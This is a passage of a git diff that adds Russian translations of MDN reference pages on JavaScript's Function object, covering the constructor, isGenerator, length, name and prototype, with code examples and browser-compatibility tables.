+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype', 'Properties')}}</div>
+
+<h3 id="Methods" name="Methods">Методы</h3>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype', 'Methods')}}</div>
+
+<h2 id="Function_instances" name="Function_instances">Экземпляры объекта <code>Function</code></h2>
+
+<p>Экземпляры объекта <code>Function</code> наследуют методы и свойства из объекта {{jsxref("Function.prototype")}}. Как и со всеми другими конструкторами, вы можете изменить объект прототипа констуктора для применения изменений ко всем экземплярам объекта <code>Function</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Specifying_arguments_with_the_Function_constructor" name="Example:_Specifying_arguments_with_the_Function_constructor">Пример: указание аргументов в конструкторе <code>Function</code></h3>
+
+<p>Следующий код создаёт объект <code>Function</code>, который принимает два аргумента.</p>
+
+<pre class="brush: js">// Пример может быть запущен непосредственно в вашей консоли JavaScript
+
+// Создаём функцию, принимающую два аргумента, и возвращающую их сумму
+var adder = new Function('a', 'b', 'return a + b');
+
+// Вызываем функцию
+adder(2, 6);
+// &gt; 8
+</pre>
+
+<p>Аргуметы "<code>a</code>" и "<code>b</code>" являются именами формальных аргументов, которые используются в теле функции, "<code>return a + b</code>".</p>
+
+<h3 id="Example_A_recursive_shortcut_to_massively_modify_the_DOM" name="Example:_A_recursive_shortcut_to_massively_modify_the_DOM">Пример: рекурсивное сокращение для массового изменения DOM</h3>
+
+<p>Создание функции через конструктор <code>Function</code> - это один из способов динамического создания из функции неизвестного количества новых объектов с некоторым выполняемым кодом в глобальной области видимости. Следующий пример (a рекурсивное сокращение для массового изменения DOM) был бы невозможен без вызова конструктора <code>Function</code> для каждого нового запроса, если вы хотите избежать использования замыканий.</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;Пример MDN - рекурсивное сокращение для массового изменения DOM&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+var domQuery = (function() {
+  var aDOMFunc = [
+    Element.prototype.removeAttribute,
+    Element.prototype.setAttribute,
+    CSSStyleDeclaration.prototype.removeProperty,
+    CSSStyleDeclaration.prototype.setProperty
+  ];
+
+  function setSomething(bStyle, sProp, sVal) {
+    var bSet = Boolean(sVal), fAction = aDOMFunc[bSet | bStyle &lt;&lt; 1],
+        aArgs = Array.prototype.slice.call(arguments, 1, bSet ? 3 : 2),
+        aNodeList = bStyle ? this.cssNodes : this.nodes;
+
+    if (bSet &amp;&amp; bStyle) { aArgs.push(''); }
+    for (
+      var nItem = 0, nLen = this.nodes.length;
+      nItem &lt; nLen;
+      fAction.apply(aNodeList[nItem++], aArgs)
+    );
+    this.follow = setSomething.caller;
+    return this;
+  }
+
+  function setStyles(sProp, sVal) { return setSomething.call(this, true, sProp, sVal); }
+  function setAttribs(sProp, sVal) { return setSomething.call(this, false, sProp, sVal); }
+  function getSelectors() { return this.selectors; };
+  function getNodes() { return this.nodes; };
+
+  return (function(sSelectors) {
+    var oQuery = new Function('return arguments.callee.follow.apply(arguments.callee, arguments);');
+    oQuery.selectors = sSelectors;
+    oQuery.nodes = document.querySelectorAll(sSelectors);
+    oQuery.cssNodes = Array.prototype.map.call(oQuery.nodes, function(oInlineCSS) { return oInlineCSS.style; });
+    oQuery.attributes = setAttribs;
+    oQuery.inlineStyle = setStyles;
+    oQuery.follow = getNodes;
+    oQuery.toString = getSelectors;
+    oQuery.valueOf = getNodes;
+    return oQuery;
+  });
+})();
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;div class="testClass"&gt;Lorem ipsum&lt;/div&gt;
+&lt;p&gt;Некоторый текст&lt;/p&gt;
+&lt;div class="testClass"&gt;dolor sit amet&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+domQuery('.testClass')
+  .attributes('lang', 'en')('title', 'Risus abundat in ore stultorum')
+  .inlineStyle('background-color', 'black')('color', 'white')('width', '100px')('height', '50px');
+&lt;/script&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3', 'Function')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-objects', 'Function')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Function")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Functions_and_function_scope", "Функции и их область видимости", "", 1)}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function", "инструкция function", "", 1)}}</li>
+ <li>{{jsxref("Operators/function", "выражение function", "", 1)}}</li>
+ <li>{{jsxref("Statements/function*", "инструкция function*", "", 1)}}</li>
+ <li>{{jsxref("Operators/function*", "выражение function*", "", 1)}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/function/isgenerator/index.html b/files/ru/web/javascript/reference/global_objects/function/isgenerator/index.html
new file mode 100644
index 0000000000..e3a972e9e2
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/function/isgenerator/index.html
@@ -0,0 +1,83 @@
+---
+title: Function.prototype.isGenerator()
+slug: Web/JavaScript/Reference/Global_Objects/Function/isGenerator
+tags:
+  - Function
+  - JavaScript
+  - Method
+  - Non-standard
+translation_of: Archive/Web/JavaScript/Function.isGenerator
+---
+<div>
+ {{JSRef("Global_Objects", "Function")}} {{non-standard_header}}</div>
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>isGenerator()</strong></code> определяет, является ли функция <a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators.3A_a_better_way_to_build_Iterators">генератором</a>.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>fun</var>.isGenerator()</code></pre>
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>isGenerator()</code> определяет, является ли функция <em><code>fun</code></em> <a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators.3A_a_better_way_to_build_Iterators">генератором</a>. Он является частью раннего предложения Harmony, но не был включён в спецификацию ECMAScript 6.</p>
+<h2 id="Examples" name="Examples">Примеры</h2>
+<pre class="brush: js">function f() {}
+
+function g() {
+  yield 42;
+}
+
+console.log('f.isGenerator() = ' + f.isGenerator()); // f.isGenerator() = false
+console.log('g.isGenerator() = ' + g.isGenerator()); // g.isGenerator() = true
+</pre>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какой-либо спецификации. Реализована в JavaScript 1.8.6.</p>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatGeckoDesktop("5.0")}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatGeckoMobile("5.0")}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators">Итераторы и генераторы</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/function/length/index.html b/files/ru/web/javascript/reference/global_objects/function/length/index.html
new file mode 100644
index 0000000000..e65e361f17
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/function/length/index.html
@@ -0,0 +1,145 @@
+---
+title: Function.length
+slug: Web/JavaScript/Reference/Global_Objects/Function/length
+tags:
+  - Function
+  - JavaScript
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/length
+---
+<div>{{JSRef("Global_Objects", "Function")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <code><strong>length</strong></code> определяет количество аргументов, ожидаемых функцией.</p>
+
+<div>{{js_property_attributes(0, 0, 1)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Свойство <code>length</code> является свойством объекта функции и указывает, сколько аргументов ожидает функция, то есть, количество формальных параметров. Это количество не включает {{jsxref("rest_parameters", "остаточные параметры", "", 1)}}. В отличие от него, свойство {{jsxref("Functions_and_function_scope/arguments/length", "arguments.length")}} является локальным для функции и предоставляет количество аргументов, реально переданных в функцию.</p>
+
+<h3 id="Data_property_of_the_Function_constructor" name="Data_property_of_the_Function_constructor">Свойство данных конструктора <code>Function</code></h3>
+<p>Конструктор {{jsxref("Global_Objects/Function", "Function")}} сам является объектом {{jsxref("Global_Objects/Function", "Function")}}. Его свойство данных <code>length</code> имеет значение 1. Атрибуты свойства: записываемое: <code>false</code>, перечисляемое: <code>false</code>, настраиваемое: <code>true</code>.</p>
+
+<h3 id="Property_of_the_Function_prototype_object" name="Property_of_the_Function_prototype_object">Свойство объекта прототипа <code>Function</code></h3>
+<p>Свойство <code>length</code> объекта прототипа {{jsxref("Global_Objects/Function", "Function")}} имеет значение 0.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+<pre class="brush: js">console.log(Function.length); /* 1 */
+
+console.log((function()        {}).length); /* 0 */
+console.log((function(a)       {}).length); /* 1 */
+console.log((function(a, b)    {}).length); /* 2 и так далее */
+console.log((function(...args) {}).length); /* 0, остаточные параметры не считаются */
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>
+    Свойство <code>length</code> конструктора {{jsxref("Global_Objects/Function", "Function")}}:<br>
+    {{SpecName('ES5.1', '#sec-15.3.3.2', 'Function.length')}}<br>
+    Свойство <code>length</code> объекта прототипа {{jsxref("Global_Objects/Function", "Function")}}:<br>
+    {{SpecName('ES5.1', '#sec-properties-of-the-function-prototype-object', 'Function.length')}}<br>
+    Свойство <code>length</code> экземпляров объекта {{jsxref("Global_Objects/Function", "Function")}}:<br>
+    {{SpecName('ES5.1', '#sec-15.3.5.1', 'Function.length')}}
+   </td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>
+    Свойство <code>length</code> конструктора {{jsxref("Global_Objects/Function", "Function")}}:<br>
+    {{SpecName('ES6', '#sec-function.length', 'Function.length')}}<br>
+    Свойство <code>length</code> объекта прототипа {{jsxref("Global_Objects/Function", "Function")}}:<br>
+    {{SpecName('ES6', '#sec-15.3.4', 'Function.length')}}<br>
+    Свойство <code>length</code> экземпляров объекта {{jsxref("Global_Objects/Function", "Function")}}:<br>
+    {{SpecName('ES6', '#sec-function-instances-length', 'Function.length')}}<br>
+   </td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+   <tr>
+    <td>Поддержка настраиваемости</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoDesktop(37)}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+   <tr>
+    <td>Поддержка настраиваемости</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoMobile(37)}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Global_Objects/Function", "Function")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/function/name/index.html b/files/ru/web/javascript/reference/global_objects/function/name/index.html
new file mode 100644
index 0000000000..212b9cb735
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/function/name/index.html
@@ -0,0 +1,219 @@
+---
+title: Function.name
+slug: Web/JavaScript/Reference/Global_Objects/Function/name
+tags:
+  - ECMAScript6
+  - Function
+  - JavaScript
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/name
+---
+<p>{{JSRef}}</p>
+
+<p>Read-only свойство <code><strong>name</strong></code> глобального объекта {{jsxref("Function")}} и его <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function#Function_instances">экзепляров</a> содержит название функции созданное во время определения функции или присваивания ссылки на функцию переменной, свойству, аргументу и т. п. Для анонимных функций это свойство может иметь значение <code>"anonymous"</code> или пустую строку  <code>""</code>.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/function-name.html")}}</p>
+
+<p>Интерактивные примеры размещены в GitHub репозитории. Если вы хотите добавить свои примеры, то клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и пришлите пулл реквест.</p>
+
+<p>{{js_property_attributes(0,0,1)}}<br>
+  </p>
+
+<div class="blockIndicator note">
+<p>Заметьте, что в нестандартном, pre-ES2015 релизе <code>configurable</code> свойство было <code>false</code></p>
+</div>
+
+<h2 id="Summary" name="Summary">Примеры</h2>
+
+<h3 id="Имя_объявленной_функции">Имя объявленной функции</h3>
+
+<p>Свойство <code>name</code> возвращает имя функции, либо пустую строку для анонимных функций:</p>
+
+<pre class="brush: js">function doSomething() {}
+
+alert(doSomething.name); // выведет "doSomething"
+</pre>
+
+<h3 id="Имя_функции-конструктора">Имя функции-конструктора</h3>
+
+<p>Функции, созданные синтаксисом <code>new Function(...)</code> или просто <code>Function(...)</code> создают  {{jsxref("Function")}} и имеют name "anonymous":​​​</p>
+
+<pre class="brush: js"><code>(new Function).name; // "anonymous"</code>
+</pre>
+
+<h3 id="Предполагаемые_имена_функций">Предполагаемые имена функций</h3>
+
+<p>Переменные и методы могут предположить название анонимной функции из ее синтаксической позиции  (new in ECMAScript 2015).</p>
+
+<pre class="brush: js">var f = function() {};
+var object = {
+  someMethod: function() {}
+};
+
+<code>console.log(f.name); // "f"
+console.log(object.someMethod.name); // "someMethod"</code></pre>
+
+<p>Вы можете определить функцию с именем в {{jsxref("Operators/Function", "function expression", "", 1)}}:</p>
+
+<pre class="brush: js">var object = {
+  someMethod: function object_someMethod() {}
+};
+console.log(object.someMethod.name); // выведет "object_someMethod"
+
+try { object_someMethod } catch(e) { console.log(e); }
+// ReferenceError: object_someMethod is not defined
+</pre>
+
+<p>Вы не можете изменить имя функции, это свойство только для чтения:</p>
+
+<pre class="brush: js">var object = {
+  // анонимная функция
+  someMethod: function() {}
+};
+
+object.someMethod.name = 'otherMethod';
+alert(object.someMethod.name); //someMethod
+
+</pre>
+
+<p>Для изменения name можно использовать {{jsxref("Object.defineProperty()")}}.</p>
+
+<h3 id="Сокращенные_имена_методов">Сокращенные имена методов</h3>
+
+<pre class="brush: js"><code>var o = {
+  foo(){}
+};
+o.foo.name; // "foo";</code></pre>
+
+<h3 id="Имена_функций_после_байндинга">Имена функций после байндинга</h3>
+
+<p>{{jsxref("Function.bind()")}} производит функцию, получающую имя "bound  и название самой функции.</p>
+
+<pre class="brush: js"><code>function foo() {};
+foo.bind({}).name; // "bound foo"</code>
+</pre>
+
+<h3 id="Имена_функций_для_getters_и_setters">Имена функций для getters и setters</h3>
+
+<p>Когда используются <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a></code> и <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a>, "get" и "set" появятся в имени функции.</p>
+
+<pre><code>let o = {
+  get foo(){},
+  set foo(x){}
+};
+
+var descriptor = Object.getOwnPropertyDescriptor(o, "foo");
+descriptor.get.name; // "get foo"
+descriptor.set.name; // "set foo";</code></pre>
+
+<h3 id="Имена_функций-классов">Имена функций-классов</h3>
+
+<p>Можно использовать <code>obj.constructor.name</code> чтобы проверить "class" объекта (читайте предупреждение ниже):</p>
+
+<pre><code>function Foo() {}  // ES2015 Syntax: class Foo {}
+
+var fooInstance = new Foo();
+console.log(fooInstance.constructor.name); // logs "Foo"</code>
+</pre>
+
+<div class="blockIndicator warning">
+<p><strong>Warning:</strong> Интерпретатор объявит встроенное <code>Function.name</code> свойство только если функция не имеет своего собственного свойства <em>name</em> (см.  <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-setfunctionname">9.2.11 of the ECMAScript2015 Language Specification</a>). Однако, в ES2015 статичные методы перезаписывают OwnProperty конструкторов класса-функции (ECMAScript2015, <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-runtime-semantics-classdefinitionevaluation">14.5.14.21.b</a> + <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-object-initializer-runtime-semantics-propertydefinitionevaluation">12.2.6.9</a>).</p>
+</div>
+
+<p>Таким образом, нельзя получить доступ к <code>name</code> любого класса со статичным свойством <code>name()​​​​​​:</code></p>
+
+<pre class="brush: js"><code>class Foo {
+  constructor() {}
+  static name() {}
+}
+</code></pre>
+
+<p>Со <code>static name()</code> методом <code>Foo.name</code> больше не содержит название класса, но отсылает к функции <code>name()</code>. Приведенное выше определение класса в ES2015 будет вести себя в Chrome и Firefx как в  ES5:</p>
+
+<pre><code>function Foo() {}
+Object.defineProperty(Foo, 'name', { writable: true });
+Foo.name = function() {};</code></pre>
+
+<p>Пытаясь получить доступ к <code>fooInstance</code> с помощью <code>fooInstance.constructor.name</code> не даст название класса, но выведет метод <code>name()</code>. Пример:</p>
+
+<pre><code>let fooInstance = new Foo();
+console.log(fooInstance.constructor.name); // logs function name()</code></pre>
+
+<p>Из ES5 syntax примера также видно, что в Chrome или Firefox статичное определение <code>Foo.name</code> становится <em>записываемым (writable)</em>. Встроенное определение в отсутствии кастомного статичного метода<em>доступно только для чтения</em>:</p>
+
+<pre><code>Foo.name = 'Hello';
+console.log(Foo.name); // logs "Hello" if class Foo has a static name() property but "Foo" if not.</code></pre>
+
+<p>Следовательно не ожидайте, что <code>Function.name</code> свойство будет всегда содержать имя класса.</p>
+
+<h3 id="Имена_функций-символов">Имена функций-символов</h3>
+
+<p>Если у {{jsxref("Symbol")}} объявляется имя, то название метода - это имя квадратных скобках.</p>
+
+<pre class="brush: js"><code>let sym1 = Symbol("foo");
+let sym2 = Symbol();
+let o = {
+  [sym1]: function(){},
+  [sym2]: function(){}
+};
+
+o[sym1].name; // "[foo]"
+o[sym2].name; // ""</code>
+</pre>
+
+<h2 id="JavaScript_минифицированный">JavaScript минифицированный</h2>
+
+<div class="blockIndicator warning">
+<p><strong>Warning:</strong> Будьте осторожны, используя <code>Function.name</code> и изменения source кода с помощью JavaScript compressors (minifiers) или обфускаторов. Эти инструменты часто используются, как встроенные в  JavaScript build pipeline, чтобы сократить размер билда перед деплоем в production. Такие трансформации часто изменяют имена функций.</p>
+</div>
+
+<p>Такой source code:</p>
+
+<pre><code>function Foo() {};
+let foo = new Foo();
+
+if (foo.constructor.name === 'Foo') {
+  console.log("'foo' is an instance of 'Foo'");
+} else {
+  console.log('Oops!');
+}</code></pre>
+
+<p>может быть сжат в:</p>
+
+<pre><code>function a() {};
+let b = new a();
+if (b.constructor.name === 'Foo') {
+  console.log("'foo' is an instance of 'Foo'");
+} else {
+  console.log('Oops!');
+}</code></pre>
+
+<p>В несжатой версии код выполняется ожидаемо <code>"'foo' is an instance of 'Foo'"</code>. В то время, как в сжатой версии он ведет себя иначе. Если вы полагаетесь на <code>Function.name</code>, как в примере, то убедитесь, что pipeline не меняет код или не ожидайте от функции определенного имени.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">
+    <p>Спецификация</p>
+   </th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-name', 'name')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Function.name")}}</p>
+
+<div id="compat-mobile"></div>
diff --git a/files/ru/web/javascript/reference/global_objects/function/prototype/index.html b/files/ru/web/javascript/reference/global_objects/function/prototype/index.html
new file mode 100644
index 0000000000..66a3ecc18e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/function/prototype/index.html
@@ -0,0 +1,151 @@
+---
+title: Function.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Function/prototype
+tags:
+  - Function
+  - JavaScript
+  - Property
+  - Prototype
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Function
+---
+<div>{{JSRef("Global_Objects", "Function")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Свойство <code><strong>Function.prototype</strong></code> представляет прототип объекта {{jsxref("Global_Objects/Function", "Function")}}.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Объекты {{jsxref("Global_Objects/Function", "Function")}} наследуются от <code>Function.prototype</code>. Объект <code>Function.prototype</code> не может быть изменён.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{jsxref("Function.arguments")}} {{deprecated_inline}}</dt>
+ <dd>Массив, соответствующий аргументам, переданным в функцию. Это устаревшее свойство {{jsxref("Global_Objects/Function", "Function")}}, используйте вместо него объект {{jsxref("Functions_and_function_scope/arguments", "arguments")}}, доступный внутри функции.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Function.arity")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">Использовалось для определения количества аргументов, ожидаемых функцией, но было удалено. Вместо него используйте свойство {{jsxref("Function.length", "length")}}.</s></dd>
+ <dt>{{jsxref("Function.caller")}} {{non-standard_inline}}</dt>
+ <dd>Определяет функцию, вызвавшую текущую выполняющуюся функцию.</dd>
+ <dt>{{jsxref("Function.length")}}</dt>
+ <dd>Определяет количество аргументов, ожидаемых функцией.</dd>
+ <dt>{{jsxref("Function.name")}} {{non-standard_inline}}</dt>
+ <dd>Имя функции.</dd>
+ <dt>{{jsxref("Function.displayName")}} {{non-standard_inline}}</dt>
+ <dd>Отображаемое имя функции.</dd>
+ <dt><code>Function.prototype.constructor</code></dt>
+ <dd>Определяет функцию, создающую прототип объекта. Смотрите документацию по {{jsxref("Object.prototype.constructor")}}.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("Function.prototype.apply()")}}</dt>
+ <dd>Вызывает функцию и устанавливает <strong><code>this </code></strong>в контекст предоставленного значения; аргументы передаются объектом {{jsxref("Global_Objects/Array", "Array")}}.</dd>
+ <dt>{{jsxref("Function.prototype.bind()")}}</dt>
+ <dd>Создаёт новую функцию, которая, при вызове, самостоятельно вызывает эту функцию в контексте предоставленного значения, с данной последовательностью аргументов, предшествующих любым аргументам, переданным в новую функцию при её вызове. Устанавливает <strong><code>this </code></strong>в контекст предоставленного значения.</dd>
+ <dt>{{jsxref("Function.prototype.call()")}}</dt>
+ <dd>Вызывает (выполняет) функцию и устанавливает <strong><code>this </code></strong>в контекст предоставленного значения; аргументы передаются как есть.</dd>
+ <dt>{{jsxref("Function.prototype.isGenerator()")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает <code>true</code>, если функция является <a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators">генератором</a>; в противном случае возвращает <code>false</code>.</dd>
+ <dt>{{jsxref("Function.prototype.toSource()")}} {{non-standard_inline}}</dt>
+ <dd>Возвращает строку, представляющую исходный код функции. Переопределяет метод {{jsxref("Object.prototype.toSource")}}.</dd>
+ <dt>{{jsxref("Function.prototype.toString()")}}</dt>
+ <dd>Возвращает строку, представляющую исходный код функции. Переопределяет метод {{jsxref("Object.prototype.toString")}}.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.3.1', 'Function.prototype')}}<br>
+    Для экземпляров объекта {{jsxref("Global_Objects/Function", "Function")}}:<br>
+    {{SpecName('ES5.1', '#sec-15.3.5.2', 'Function.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype', 'Function.prototype')}}<br>
+    Для экземпляров объекта {{jsxref("Global_Objects/Function", "Function")}}:<br>
+    {{SpecName('ES6', '#sec-function-instances-prototype', 'Function.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-instances-prototype', 'Function.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
